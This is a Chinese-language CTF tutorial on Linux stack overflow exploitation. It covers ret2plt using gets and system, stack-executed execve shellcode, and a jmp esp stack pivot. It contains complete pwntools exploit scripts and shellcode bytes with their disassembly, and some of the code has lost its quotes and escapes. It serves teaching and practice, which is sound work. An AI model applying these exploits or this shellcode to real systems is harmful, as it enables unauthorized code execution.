前言

上回說到,如何利用程序中system函數以及bin/sh字元串來進行pwn。這裡我們會介紹,如何在棧可執行而system函數以及參數沒有的情況下,如何自己布置payload進行pwn。此外,還提供了一份可以參考的pwn套路,套路熟悉了,即可慢慢轉化為熟悉。故此名曰:入門到熟練(二)。

練習題參考(利用庫函數讀取參數)

所謂的入門到熟練,套路還是要有的。套路有了,就可以見招拆招。我們一步一步來。

拿到題,我們需要依次查看:

  1. 檢查保護情況
  2. 判斷漏洞函數,如gets,scanf等
  3. 計算目標變數的在堆棧中距離ebp的偏移
  4. 分析是否已經載入了可以利用的函數,如system,execve等
  5. 分析是否有字元串/bin/sh

Pwn4題目地址。

第一步,保護情況,

發現堆棧不可以執行,其他到還好。那麼,我們在溢出時就需要再堆棧中部署的具有功能的地址,而不是具體的代碼了。理解成堆棧中需要布置路線圖,之後的程序按照這個路線圖來執行。

反之,如果堆棧可以執行,我們就要思考如何布置shellcode,如何優化shellcode長度以及刪除壞字元。(將在下一題的時候介紹)

第二步,檢測漏洞函數。

發現是gets。這裡分享一個ctf-pwn-tips,裡面總結了很多的存在漏洞的函數,以及輸入參數的描述,非常實用。TIPS

第三步,確認偏移量。

有幾種方式。

我們可以直接從IDA的代碼中分析出來,參數距離EBP的位置。如上述,看到距離ebp是0x64(100)個的位元組,那麼距離存放返回地址的偏移就是100+4=104個位元組。但是,IDA的分析並不都是準確的,真正準確的位置,還是需要我們手動去調試。具體方法參考Linux PWN從入門到熟練。這裡簡單整理一下步驟(假設linux程序在虛擬機guest執行,IDA在主機host執行):

  1. 拷貝linux_server到guest的程序目錄,並執行;
  2. IDA設置遠程調試,並設置正確的guest IP和埠;
  3. IDA設置程序的斷點在return,可以方便查看寄存器;
  4. 運行程序;
  5. 用腳本patternLocOffset.py創建偏移測試字元串,700位元組度比如;
  6. 將產生的字元串在guest中輸入;
  7. 查看host中IDA的ebp字元串;
  8. 在patternLocOffset.py中計算偏移

最終應該可以看到下面類似的結果。

$ python patternLocOffset.py -l 700 -s 0x41366441
[*] Create pattern string contains 700 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 108 (adjusted another-endian)
[+] take time: 0.0004 s

發現實際的偏移是108個位元組,覆蓋點距離ebp。那麼距離返回地址就應該是108+4=112位元組。可見,IDA的分析有時是不準的,需要自己去測量。

第四步,分析可以利用的函數,

發現有system的:

第五步,查找是否有系統調用字元串:

ROPgadget --binary ret2libc2 --string "/bin/sh"
Strings information
============================================================

發現並沒有字元串了,因此這裡我們需要想個辦法。

直觀的想法是在shellcode中,在參數的位置直接放入字元串「/bin/sh」,比如下面這樣:

payload = flat([a * 112, system_plt, 0xabcdabcd, 「/bin/sh」])

但是正如我們前面所說,放在堆棧中的是程序執行的路線圖,而不是實際的程序或者字元串,因此,按照上述方式放置字元串,system並不會讀取」/bin/sh」,而是讀取」/bin/sh」對應的4個位元組的地址所指向的內存空間,這個空間明顯是不合法,因此就會導致利用失敗。

怎麼辦呢?我們發現程序中還載入了函數gets,那麼我們可以利用gets來讀取用戶輸入的」/bin/sh」放置到某個地址空間去,接著system再調用它。「某個地址空間」可以是下面的buf2,可以發現它的地址是0x0804A080。這個空間可以讓我們使用(感覺明顯是CTF題留出來的位置= =)

那麼,我們的exp可以按照下面的方式安排:

##!/usr/bin/env python
from pwn import *

sh = process(./pwn4)
shelf = ELF(./pwn4)

gets_plt = shelf.plt[gets]
system_plt = shelf.plt[system]
pop_ebp = 0x0804872f
buf2 = 0x804a080
payload = flat(
[a * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])

sh.sendline(payload)
sh.sendline(/bin/sh)
sh.interactive()

其中關鍵的代碼是:

payload = flat(
[a * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])

相信有的朋友會不明白,為啥有個[gets_plt, pop_ebp, buf2],這樣的payload布置。Pop_ebp的主要目的是讓eip流向system的位置,並且取出system地址賦值給eip。

Pop_ebp其實不一定是pop ebp,pop任何其他的寄存器都可以,主要是利用該指令的esp+4的功能。比如,我們可以找到如下的位置,其中0x0804872f,0x0804843d都可以讓它esp+4操作一次就好,操作多了就流的多了,就不指向system地址了,注意我們這裡還要求得要返回ret一下,這樣才會實際的提取system的地址出來,賦值給eip:

@ubuntu:~/ $ ROPgadget --binary pwn4 --only pop|ret
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

未來更清楚一些,畫了一個圖,其中序號的順序表示,對應的命令執行完之後,esp對應的位置。

第一題(堆棧直接執行shellcode)

接下來這題,我們再輕鬆一點,可以直接在堆棧中執行程序。

pwn5

繼續前面的套路。

第一步,查看保護

發現,可以直接在堆棧上執行程序了,開啟的是PIE,地址隨機化的保護。

第二步,判斷漏洞函數。

發現函數是read,僅僅讀取0x40(64)個位元組。

第三步,計算目標變數的在堆棧中距離ebp的偏移

EBP的內容為:0x3761413661413561

$ python patternLocOffset.py -l 700 -s 0x3761413661413561
[*] Create pattern string contains 700 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 16 (adjusted another-endian)
[+] take time: 0.0005 s

距離EBP的偏移是16個位元組,距離存放的返回地址是16+8=24個位元組。

這裡可以發現IDA分析的又是正確的了,0x10個位元組。

第四步和第五步,分析是否已經載入了可以利用的函數,

如system,execve等

發現,並沒有上述函數。但是由於堆棧可以執行,因此我們可以考慮直接將shellcode阻止在payload裡面。因此,這裡和第五步分析是否有字元串/bin/sh合併了,我們可以自己放置字元串,並且調用對應的地址了。

理論上,我們可以直接利用pwntools產生的shellcode來進行部署,但是這道題有點特殊。在返回地址之後所剩餘的空間=64-24-8=32個位元組(返回地址還要佔用8個位元組),因此實際部署shellcode的長度還剩下32個位元組,使用pwntools產生的shellcode有44個位元組,太長了。因此,我們可以從網上找到更短的shellcode:

# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"

它的彙編形式是

# char *const argv[]
xorl %esi, %esi
# h s / / n i b /
movq $0x68732f2f6e69622f, %rbx
# for x00
pushq %rsi
pushq %rbx
pushq %rsp
# const char *filename
popq %rdi
# __NR_execve 59
pushq $59
popq %rax
# char *const envp[]
xorl %edx, %edx
syscall

好了,shellcode確定好了,我們現在還有一個問題。Shellcode執行的地址如何確定呢?shellcode的地址,其實就是buf的地址加上32個位元組的偏移。

我們前面發現,該程序是動態改變地址的,因此靜態的確認buf地址是不可行的,進而靜態的確認shellcode的地址是不可行的。

處理到這裡好像有點死胡同了,我們發現程序中有printf函數,理論上可以利用它來列印buf的地址,然後實時的計算buf+32的地址,就能夠得到shellcode的地址。但是,我們回頭看看程序本身的執行,會發現:

它實際上已經為我們解決了這個問題,自己輸出了buf的地址(= = CTF題目的難易程度真的是微妙之間呀)

那麼,我們的exp思路就是: 實時讀取buf的地址,計算buf+32得到shellcode的地址,放置在payload中。

from pwn import *
code = ELF(./pwn5)

# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
sh.recvuntil([)
buf_addr = sh.recvuntil(], drop=True)
buf_addr = int(buf_addr, 16)
payload = b * 24 + p64(buf_addr + 32) + shellcode_x64
sh.sendline(payload)
sh.interactive()

堆棧的布置圖,以及地址的相對位置,以buf為起點。

第二題(控制esp進行精準打擊)

接下來,我們來點有難度的。在這個程序中,我們的payload實在放不下了,即使是23位元組,那麼怎麼辦呢?

pwn6

繼續前面的過程:

第一步:檢測保護情況

發現,是個三無程序。么有任何保護,看起來很簡單?哈哈,並沒有。看官請繼續。

第二步,判斷漏洞函數,

如gets,scanf等

發現是fgets函數,僅僅讀取50個位元組的字元長度。

第三步,

計算目標變數的在堆棧中距離ebp的偏移。

方法和前面類似,發現偏移距離ebp是0x20,那麼距離ret_addr就是0x20+4=0x24(36)位元組了。

第四步和第五步:

分析是否已經載入了可以利用的函數。發現並沒有

$ ROPgadget --binary stack_pivoting_1 --string /bin/sh
Strings information
============================================================

字元串自然也是沒有的。

我們考慮利用shellcode,好像可以類似於上一題的操作了。但是並不能,留給我們布置shellcode的長度為50-36-4=10位元組(同樣有4個位元組的返回地址存放)!尷尬不==,放兩個地址就沒有位置了。但如果你能夠厲害到用10個位元組做shellcode,請大膽分享出來!

那麼怎麼辦呢?

既然,堆棧溢出的位置不行了,那麼我們就把shellcode放在棧裡面吧!因為堆棧具有可執行的許可權,因此這樣完全是可行的。

這裡,我先放圖出來解釋一下思路:

我們這樣就總共有0x20(36個位元組)的位置存放shellcode的了,頓時感覺找到了新出路。但是,要做到跳轉到放置shellcode的位置,似乎並沒有那麼簡單。要達到這個目的,我們需要做到以下幾件事情:

  1. 推算shellcode放置的地址
  2. 跳轉到shellcode放置的位置

首先,第一點,shellcode的位置就是發射payload的時候esp_old的位置,我們可以推算出來,當程序提取完返回地址之後,esp指向的地址距離esp_old的地址為0x20+4(ebp)+4(ret_addr)=0x28。因此,我們需要用當前的esp-0x28,得到的就是shellcode的地址。

對於第二點,我們如何讓eip順利的依次取出我們設計好的路線圖呢?在ret_addr,我們需要尋找到一個gadget,它能夠跳轉到esp的位置,以繼續往後執行棧上的代碼。注意,這裡我們為什麼不直接將可執行的代碼布置在ret_addr的位置,因為這裡是原本的函數提取返回函數地址的地方,它並不會執行這裡位置的代碼,而是執行這個位置的內容指向的地址的代碼。我們需要jmp esp這個操作,來讓程序流獲得在棧上執行的先河。

$ ROPgadget --binary stack_pivoting_1 --only jmp|ret | grep esp
0x08048504 : jmp esp

發現只有這麼一個地址。0x08048504。這也正是圖中的位置。注意,當我們取出ret_addr裡面的地址的時候,esp已經+4了,因此就會指向我們的下一步操作:跳轉回esp_old的位置。

在這裡,我們直接可以選擇讓pwntools產生可執行的代碼」sub esp 0x28; jmp esp」。注意,這裡可以是直接運行的代碼,因為我們的程序已經開始在棧上執行了,而不再是取出地址了。

最後的EXP按照下面這樣布置:

from pwn import *

sh = process(./pwn6)

shellcode_x86 = "x31xc9xf7xe1x51x68x2fx2fx73"
shellcode_x86 += "x68x68x2fx62x69x6ex89xe3xb0"
shellcode_x86 += "x0bxcdx80"

sub_esp_jmp = asm(sub esp, 0x28;jmp esp)
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * b + bbbb + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

注意,這裡我們又啟用了另外一段代碼:

它更加短,只有21個位元組。Shellcode越短是越好的。它的彙編對應如下:

shellcode_x86 = "x31xc9」 # xor ecx, ecx
shellcode_x86 += 「xf7xe1」 # mul ecx
shellcode_x86 += 「x51」 # push ecx
shellcode_x86 += "x68x2fx2fx73x68" # push 0x68732f2f
shellcode_x86 += "x68x2fx62x69x6e" # push 0x6e69622f
shellcode_x86 += 「x89xe3」 # mov ebx, esp
shellcode_x86 += 「xb0x0b」 # mov al, 0xb
shellcode_x86 += "xcdx80" # int 0x80

總結

最後,再次給大家留下練習題。

pwn7

給大家一個小tips,32位和64位程序的調試,一般的處理方式是準備兩個虛擬機。但是這樣操作太麻煩了,而且pwntools在32位下面經常無法正常工作。怎麼辦呢?理論上64位ubuntu是可以運行32位程序的,但是需要相關的庫函數安裝。使用下面的命令安裝就好(參考):

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install zlib1g:i386 libstdc++6:i386 libc6:i386

如果是比較老的版本,可以用下面的命令:

sudo apt-get install ia32-libs

如果大家覺得好,歡迎大家來我的github主頁follow: desword_github,desword


推薦閱讀:
相关文章